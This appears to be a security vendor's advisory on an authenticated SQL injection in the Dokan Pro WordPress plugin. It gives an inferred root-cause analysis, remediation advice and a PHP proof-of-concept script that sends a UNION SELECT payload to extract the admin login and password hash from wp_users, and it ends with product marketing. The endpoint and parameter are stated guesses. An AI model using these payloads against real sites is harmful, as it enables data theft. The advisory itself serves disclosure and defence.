Published : August 11, 2026

CVE-2026-65494: Dokan Pro <= 5.0.2 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin dokan-pro
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 5.0.2
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65494 (metadata-based):

This vulnerability is an authenticated SQL Injection in Dokan Pro for WordPress, affecting versions up to and including 5.0.2. The CWE-89 classification and the official description indicate that the plugin fails to properly escape a user-supplied parameter and fails to prepare the existing SQL query, allowing an authenticated user with subscriber-level access or higher to inject additional SQL commands. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) scores this at 6.5, reflecting a high confidentiality impact with no integrity or availability impact. Because no source code diff is available, the following analysis is inferred from the CWE, the CVSS vector, and the vulnerability description, not confirmed from plugin source code.

Atomic Edge research infers the root cause as a classic SQL injection pattern in a Dokan Pro database query. The vulnerable code likely uses a WordPress `$wpdb` method such as `get_results()`, `query()`, or `prepare()` improperly. The developer probably concatenated the user-controlled parameter directly into the SQL statement after only a weak escaping function, or passed it through `$wpdb->prepare()` that still allowed unsanitized input. The lack of sufficient preparation and inadequate escaping on the parameter allows an attacker to break out of the intended string or integer context and alter the query structure. This pattern is common in plugin modules that handle dynamic filtering, searching, or sorting for orders, products, or vendor-specific listings, and the access level of subscriber indicates the vulnerable endpoint is reachable by non-admin users.

To exploit this, an authenticated subscriber would send a crafted request to a Dokan Pro AJAX handler or REST API endpoint that accepts the vulnerable parameter. The attacker would use a standard SQL injection payload, such as appending `’ OR 1=1– -` or using a UNION SELECT to extract data, after determining the parameter’s value context. For example, if the vulnerable endpoint is an AJAX action like `dokan_pro_search_orders`, a request to `/wp-admin/admin-ajax.php` with `action=dokan_pro_search_orders` and a parameter like `order_id[]=` could contain a SQL injection payload. The attacker must include a valid WordPress nonce if the plugin requires it, and must authenticate as a subscriber, which they can do by registering a standard user account or compromising one. The absence of a nonce is not the vulnerability, but the attacker needs a valid session and capability to trigger the vulnerable AJAX action or REST route.

Remediation should focus on replacing all unsafe SQL queries with parameterized queries using `$wpdb->prepare()`. The plugin must ensure the user-supplied parameter is treated strictly as a data value and never concatenated directly into the SQL string. Additionally, the plugin should implement proper input validation and sanitization, such as casting numeric parameters to integers or using `sanitize_text_field()` where appropriate. Since no patched version is available for Dokan Pro 5.0.2, administrators should apply a virtual patch via a web application firewall and monitor for unauthorized subscriber accounts. Atomic Edge recommends denying access to any endpoint that processes user input until an official patch is released.

The impact is a full database disclosure for authenticated users with only subscriber-level privileges. An attacker can extract sensitive information including WordPress user hashes, session tokens, and any data stored in custom tables, such as Dokan vendor and order information. The CVSS confidentiality rating of High confirms that the primary risk is data breach. The attacker cannot directly modify or delete data based on the integrity rating of None, but SQL injection often enables further attacks, such as privilege escalation by inserting new admin users or reading files if database permissions allow. The low complexity and network attack vector make this a severe risk for any site using vulnerable Dokan Pro.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65494 - Dokan Pro <= 5.0.2 - Authenticated (Subscriber+) SQL Injection

/*
 * Metadata-based PoC for CVE-2026-65494.
 * Assumptions:
 * - Dokan Pro exposes an AJAX action that allows authenticated users to search or filter orders.
 * - The likely action is 'dokan_pro_search_orders' and the vulnerable parameter is 'order_id'.
 * - The endpoint requires a valid nonce. Replace the nonce value with a valid one from a logged-in subscriber session.
 * - This PoC demonstrates a UNION-based extraction of admin user credentials.
 *
 * Usage:
 *   php cve-2026-65494-poc.php
 */

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$action = 'dokan_pro_search_orders';
$nonce = 'VALID_NONCE';

// SQL injection payload: extracts admin username and hashed password from wp_users.
// This is a UNION SELECT based on a typical orders table with 6 columns.
// Adjust column count to match the actual query.
$payload = "-1' UNION SELECT user_login, user_pass, 3, 4, 5, 6 FROM wp_users WHERE id=1-- -";

$post_data = array(
    'action' => $action,
    'nonce'  => $nonce,
    'order_id' => $payload
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));

$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('cURL error: ' . curl_error($ch) . "n");
}
curl_close($ch);

echo "Response from server:n" . $response . "n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.